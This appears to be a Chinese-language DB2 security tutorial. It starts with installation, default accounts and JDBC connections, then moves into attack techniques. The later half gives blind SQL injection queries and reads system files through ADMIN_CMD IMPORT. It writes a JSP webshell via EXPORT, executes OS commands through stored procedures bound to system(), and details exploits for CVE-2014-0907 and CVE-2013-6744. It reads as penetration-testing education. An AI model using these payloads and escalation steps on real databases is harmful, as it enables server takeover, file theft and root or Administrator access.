DB2是IBM公司推出關系型數據庫管理系統。
現今DB2主要包含以下三個系列:
IBM DB2定位于高端市場,廣泛應用于企業級應用中
以下兩小節分別介紹DB2在Linux和Windows平臺下的安裝,安裝的版本都為V9.5版本
在Linux下DB2依賴compat-libstdc++庫,安裝DB2之前需要先行安裝該庫
安裝上述庫完成后運行DB2安裝程序中的db2setup啟動圖形化安裝界面
DB2在安裝過程中會創建db2inst1、db2fenc1以及dasusr1三個用戶,此三個用戶會加入到系統中成為系統的用戶,也可以在安裝之前就創建
安裝完成后切換到db2inst1用戶,運行db2cc啟動圖形化控制中心(DB2從V10.1版本開始不再包含圖形化的控制中心,可使用命令行或IBM提供的Data Studio工具管理)
運行安裝程序中的setup.exe程序開始安裝,安裝過程中會創建db2admin用戶,并將該用戶添加到管理員組中
安裝完成后啟動控制中心
DB2各項服務名稱及端口可使用以下方法查看:
Linux:
/etc/services 文件
Windows:
C:\Windows\System32\drivers\etc\services文件
DB2默認監聽連接的端口為50000
DB2的所有用戶都是操作系統用戶,且用戶密碼也與操作系統中該用戶的密碼綁定。
Linux下,安裝DB2會創建db2inst1,db2fenc1和dasusr1三個用戶。Windows下,會創建db2admin用戶并將其添加到管理員組。
本地操作系統用戶并不全為DB2用戶,需要在DB2管理功能中添加操作系統用戶為數據庫用戶。
本地管理DB2數據庫可以使用命令行或圖形化工具
IBM DB2 Universal Database(UDB)命令行處理器(CLP)是用于訪問 DB2 函數的方便接口,CLP 接受來自 DB2 命令行的命令或 SQL 語句。
在基于Linux 和 UNIX 的系統中,這個命令行是 DB2 實例的命令行。
在Windows 操作系統中,它是啟用了CLP 命令窗口的命令行;在這種情況下,必須先(從普通命令窗口)運行 db2cmd 命令來啟動 DB2 命令行環境。
Windows下的命令行:
Linux下的命令行:
命令行的詳細使用方法及語法可參考IBM官方文檔
可使用DB2的控制中心在本地使用圖形化方式管理DB2,如下:
Windows:
Linux:
注:
DB2從V10.1版本開始不再包含圖形化的控制中心,可IBM提供的DataStudio工具替換
遠程管理DB2也有命令行和圖形化兩種方式,使用命令行方式需要安裝DB2客戶端,可在IBM官網上下載。
遠程圖形化管理可以使用Quest Centor for DB2工具。使用該工具也需要安裝DB2客戶端。
該工具使用方法如下:
右鍵添加DB2服務器:
配置DB2服務器的地址和操作系統:
配置節點名稱,實例名稱和數據庫端口:
在實例上右鍵管理登錄配置登錄憑證:
在實例上右鍵添加數據庫:
添加后情況:
執行SQL語句:
JAVA程序連接DB2有四種方式TYPE1、TYPE2、TYPE3、TYPE4,其中TYPE2和TYPE4應用較廣泛,四種方式的基本架構如下:
TYPE1:
TYPE2:
TYPE3:
TYPE4:
下面介紹使用TYPE2和TYPE4方式連接DB2的方法
使用TYPE2方式必須安裝DB2客戶端,在客戶端中添加相關數據庫并設置別名,可使用客戶端命令行或圖形化工具“配置助手”添加,如下圖
使用TYPE2類型有兩種方法:
方法一:
驅動程序位于db2jcc.jar包中,且在Windows下JDK必須可以訪問到db2jdbc.dll和db2jcct2.dll,db2jdbc.dll和db2jcct2.dll位于DB2客戶端程序SQLLIB/BIN目錄下
連接代碼如下:
#!java
Class.forName("com.ibm.db2.jcc.DB2Driver").newInstance();
conn = DriverManager.getConnection("jdbc:db2:TESTDB2", "db2admin", "123456");
其中jdbc:db2:TESTDB2
中的TESTDB2
即為之前在客戶端中添加的數據庫別名
方法二:
驅動程序位于db2java.zip包中,且在Windows下JDK必須可以訪問到db2jdbc.dll,db2jdbc.dll位于DB2客戶端程序SQLLIB/BIN目錄下
連接代碼如下:
#!java
Driver driver=(Driver) Class.forName("COM.ibm.db2.jdbc.app.DB2Driver").newInstance();
DriverManager.registerDriver(driver);
conn = DriverManager.getConnection("jdbc:db2:TESTDB2", "db2admin", "123456");
其中jdbc:db2:TESTDB2
中的TESTDB2
即為之前在客戶端中添加的數據庫別名
注:db2java.zip在DB2 LUW 10.1中已停用,如要使用TYPE2方式建議使用db2jcc.jar驅動程序
使用TYPE4方式連接DB2方法:
驅動程序位于db2jcc.jar包中,使用此方法應用程序所在主機不需安裝任何其他程序
連接代碼:
#!java
Class.forName(com.ibm.db2.jcc.DB2Driver).newInstance();
conn =DriverManager.getConnection(jdbc:db2://192.168.60.144:50000/TESTDB2, db2admin, 123456);
注:
上述驅動程序所在包db2jcc.jar、db2jcc_license_cu.jar、db2java.zip均可在DB2服務器安裝目錄下找到,例如在Windows版本V9.5中位于DB2安裝目錄下的SQLLIB/java目錄
db2jcc.jar與db2java.zip驅動程序在錯誤處理方面有所不同
查詢在DB2服務器端出現錯誤時,db2java.zip驅動程序會將DB2服務器產生的錯誤信息原樣返回給應用程序,而db2jcc.jar驅動程序使用了自定義的錯誤信息。
db2java.zip的錯誤信息:
db2jcc.jar的錯誤信息:
獲取數據庫版本:
#!sql
SELECT service_level FROM table(sysproc.env_get_inst_info()) as instanceinfo
獲取當前用戶:
#!sql
SELECT user FROM sysibm.sysdummy1
SELECT session_user FROM sysibm.sysdummy1
SELECT system_user FROM sysibm.sysdummy1
獲取數據庫的用戶:
#!sql
SELECT distinct(authid) FROM sysibmadm.privileges
SELECT distinct(grantee) FROM sysibm.systabauth
獲取數據庫表的權限:
#!sql
SELECT * FROM syscat.tabauth
獲取當前用戶的權限:
#!sql
SELECT * FROM syscat.tabauth where grantee = current user
列出數據庫的DBA賬戶:
#!sql
SELECT distinct(grantee) FROM sysibm.systabauth where CONTROLAUTH='Y'
獲取當前數據庫:
#!sql
SELECT current server FROM sysibm.sysdummy1
獲取當前數據庫中所有表:
#!sql
SELECT table_name FROM sysibm.tables
SELECT name FROM sysibm.systables
獲取當前數據庫中所有列:
#!sql
SELECT name, tbname, coltype FROM sysibm.syscolumns
獲取數據庫所在主機相關信息:
#!sql
SELECT * FROM sysibmadm.env_sys_info
注釋符:
DB2數據庫使用雙連字符--
作為單行注釋,使用/**/
作為多行注釋
SELECT中獲得前N條記錄的SQL語法:
#!sql
SELECT * FROM sysibm.systables ORDER BY name ASC fetch first N rows only
截取字符串:
#!sql
SELECT substr('abc',2,1) FROM sysibm.sysdummy1
上述語句會得到字符b
比特操作AND/OR/NOT/XOR
#!sql
SELECT bitand(1,0) FROM sysibm.sysdummy1
上述語句會得到0
字符與ASCII碼互相轉換:
#!sql
SELECT chr(65) FROM sysibm.sysdummy1
上述語句會得到字符’A’
#!sql
SELECT ascii('A') FROM sysibm.sysdummy1
上述語句會得到字符’A’的ASCII碼65
類型轉換:
#!sql
SELECT cast('123' as integer) FROM sysibm.sysdummy1
上述語句將字符串”123”轉為數據123
#!sql
SELECT cast(1 as char) FROM sysibm.sysdummy1
上述語句將數字1轉為字符串”1”
字符串連接:
#!sql
SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1
SELECT 'a' || 'b' || 'c' FROM sysibm.sysdummy1
上述兩個語句都會返回字符串”abc”
獲取長度:
#!sql
SELECT LENGTH(NAME) FROM SYSIBM.SYSCOLUMNS WHERE TBNAME='VOTE' ORDER BY NAME DESC FETCH FIRST 1 ROWS ONLY
條件語句:
#!sql
SELECT CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END FROM sysibm.sysdummy1
上述語句將返回字符串'AAAAAAAAAA'
時間延遲:
#!sql
and (SELECT count(*) FROM sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (SELECT ascii(substr(user,1,1)) FROM sysibm.sysdummy1)=68
上述語句若user的第一個字符的ASCII碼為68將造成延時
UNION操作符:
DB2支持在SELECT語句中使用UNION操作符,UNION的各列必須類型相同才不會報錯。
且不能直接使用SELECT … FROM … UNION SELECT NULL, NULL … FROM …
的方法。DB2在SELECT中使用NULL需要指定類型,如下:
#!sql
select ... cast(NULL as int) as column_A, cast(NULL as varchar(128)) as column_B, ... FROM ...
多語句查詢:
DB2不支持形如statement1; statement2形式的多語句查詢
對DB2進行SQL注入通用的方法是使用盲注,利用上兩個小結的內容通過盲注獲取數據庫信息。
由于DB2的UNION操作符限制較多,因此利用UNION注入很多時候不會成功。由于DB2不支持多語句查詢,因此無法通過多語句查詢方法注入并調用存儲過程。
另外,可利用數據庫的報錯信息通過SQL注入獲取部分敏感信息,如下:
先使用通用的orderby方法猜出列數
在查詢的條件后附加group by 1--
會顯示本次查詢的表中的第一列列名ID,之后將條件改為group by ID--
得到第二列的列名NAME,依次增加group by后的列名,如group by ID, NAME,將枚舉當前表中的所有列
經測試針對DB2的SQL注入工具中sqlmap相對具有可用性,部分截圖如下:
但經測試其仍然存在一些問題,如獲取列信息不全、盲注功能不好用等
在滲透測試中可以使用DB2讀寫系統文件,達到獲取敏感信息、寫webshell等目的。
本節所描述方法在DB2 V9.5 Windows, Linux下測試成功
DB2使用IMPORT命令從文件中讀取內容并插入到數據庫表中,使用方法:
#!sql
IMPORT FROM C:\Windows\win.ini OF DEL INSERT INTO CONTENT
上述命令運行后即可將C:\Windows\win.ini的內容插入到表CONTENT中
DB2的ADMIN_CMD存儲過程用于執行DB2命令行(CLP)命令,其schema為SYSPROC,從8.2.2版本開始引入 該存儲過程語法:
#!sql
ADMIN_CMD('command_string')
參數command_string為要運行的命令
調用存儲過程使用CALL語句,語法:
#!sql
CALL ADMIN_CMD('command_string')
調用ADMIN_CMD存儲過程執行IMPORT命令將文件讀入數據庫表方法:
#!sql
CALL ADMIN_CMD('IMPORT FROM C:\Windows\win.ini OF DEL INSERT INTO CONTENT');
運行該存儲過程的結果:
遠程連接數據庫的用戶可以通過調用ADMIN_CMD存儲過程讀取操作系統文件,經測試(DB2 V9.5)數據庫普通用戶默認具有調用ADMIN_CMD存儲過程的權限,遠程連接數據庫的用戶可以首先創建一個表(或對已存在的IMPORT命令涉及的表有INSERT和SELECT權限),然后調用ADMIN_CMD存儲過程運行IMPORT命令將文件讀入創建的表中。如下:
遠程連接數據庫并調用ADMIN_CMD存儲過程運行IMPORT命令:
讀取的文件信息:
DB2的EXPORT命令用于將數據庫中的內容導入到文件中,使用語法如下:
#!sql
EXPORT TO result.csv OF DEL MODIFIED BY NOCHARDEL SELECT col1, col2, coln FROM testtable;
使用上一小節提到的ADMIN_CMD存儲過程運行該命令方法:
#!sql
CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT * FROM VOTENAME');
調用過程和結果:
遠程連接數據庫的用戶可以先創建一個表(或對EXPORT命令涉及的表具有SELECT權限),然后調用ADMIN_CMD存儲過程執行EXPORT命令向操作系統寫文件
向操作系統寫入包含某些字符串的文件語法如下:
#!sql
CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT ''My Content'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY');
遠程調用結果:
利用該方法寫webshell語法:
#!sql
CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.jsp OF DEL MODIFIED BY NOCHARDEL SELECT ''<%if(request.getParameter("f")!=null){(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("c").getBytes());response.getWriter().print("[OK]");}%>'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY');
遠程調用結果:
注:
通過EXPORT向文件寫入自定義字符串內容時SELECT的表中必須至少有一條記錄否則寫入內容為空
可利用DB2存儲過程執行操作系統命令。遠程連接數據庫的用戶需要具有創建存儲過程的權限,連接數據庫后創建一個可以執行操作系統命令的存儲過程并調用。
創建此種存儲過程并調用的語法如下:
Windows:
#!sql
CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
EXTERNAL NAME 'c:\windows\system32\msvcrt!system'
LANGUAGE C
DETERMINISTIC
PARAMETER STYLE DB2SQL
CALL db2_cmd_exec ('whoami /all > C:\whoami.log')
Linux:
#!sql
CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
EXTERNAL NAME '/usr/lib/libstdc++.so.6!system'
LANGUAGE C
DETERMINISTIC
PARAMETER STYLE DB2SQL
call db2_cmd_exec ('whoami > /tmp/whoami.log')
運行結果:
注:
創建的存儲過程默認為FENCED(受保護的),例如對于Linux下DB2的,使用db2inst1用戶連接數據庫創建并運行上述存儲,DB2服務器端實際是以db2fenc1用戶運行該存儲過程的。
FENCED存儲過程單獨啟用一個新的地址空間,而UNFENCED存儲過程和調用它的進程使用用一個地址空間,一般來說FENCED存儲過程比較安全。
若要創建NOTFENCED的存儲過程(需要具有SYSADM特權、DBADM 特權或一個特殊的特權(CREATE_NOT_FENCED)),需要在創建存儲過程中指定,如下
#!sql
CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
EXTERNAL NAME '/usr/lib/libstdc++.so.6!system'
LANGUAGE C
DETERMINISTIC
PARAMETER STYLE DB2SQL
NOT FENCED
本節介紹兩個DB2提權漏洞原理及利用方法
CVE-2014-0907是一個DB2本地提權漏洞,受影響版本為AIX, Linux, HP-UX以及Solaris上的DB2 V9.5(FP9之前的V9.5不受影響), V9.7, V10.1, V10.5版本
CVE-2014-0907漏洞允許一個本地普通用戶獲取到root權限
DB2的db2iclean程序會在當前目錄下搜索libdb2ure2.so.1庫文件,下圖為執行該程序時對庫文件的訪問情況,可見DB2對于libdb2ure2.so.1庫文件的搜索在當前目錄先于DB2安裝目錄
#!sql
strace -o /tmp/db2iclean.log /home/db2inst1/sqllib/adm/db2iclean
如果當前目錄下有惡意用戶寫入的同名庫文件,則DB2程序會加載該文件并執行其中的代碼。由于db2iclean命令是SUID root權限,因此惡意代碼會以root權限被運行。
如將下列代碼編譯為庫文件并放在當前目錄下:
#!cpp
// libdb2ure2.cpp
#include <stdlib.h>
int iGetHostName(char* n, int i)
{
system("id > /m.log");
}
$ gcc -shared -o libdb2ure2.so.1 libdb2ure2.cpp
使用db2iadm1組的普通用戶運行db2iclean程序:
#!sql
<DB2_instance_install_directory>/adm/db2iclean
可見此時euid為0,代碼以root權限運行
注意:由于db2iclean不是公開執行權限,所以攻擊者需要使用db2iadm1組用戶執行,或誘使該組成員在攻擊者寫入了惡意庫文件的目錄下執行該程序。
CVE-2013-6744是DB2在windows平臺下的提權漏洞,利用該漏洞將使windows普通用戶獲取到Administrator權限
存在漏洞的DB2版本:
利用該漏洞需要有一個可以連接DB2數據庫的用戶,且該用戶具有創建外部例程的權限(CREATE_EXTERNAL_ROUTINE)
該漏洞原理為:在Windows平臺特權帳戶默認情況下,DB2服務運行時并不受訪問控制檢查,這意味著可以通過CREATE_EXTERNAL_ROUTINE權限創建一個庫文件并且形成調用,從而權限得以提升。
漏洞利用步驟:
1.使用具有CREATE_EXTERNAL_ROUTINE權限的用戶運行以下DDL,利用C runtime system來創建一個存儲過程:
#!sql
CREATE PROCEDURE db2_exec (IN cmd varchar(1024)) EXTERNAL NAME 'msvcrt!system' LANGUAGE C DETERMINISTIC PARAMETER STYLE DB2SQL
2.調用剛才創建的存儲過程:
#!sql
CALL db2_exec('whoami /all > C:\whoami.log')
查看命令創建的whoami.log文件,發現包含了db2admin信息。這意味著,我們用一個非管理員賬戶成功用管理員權限執行了命令。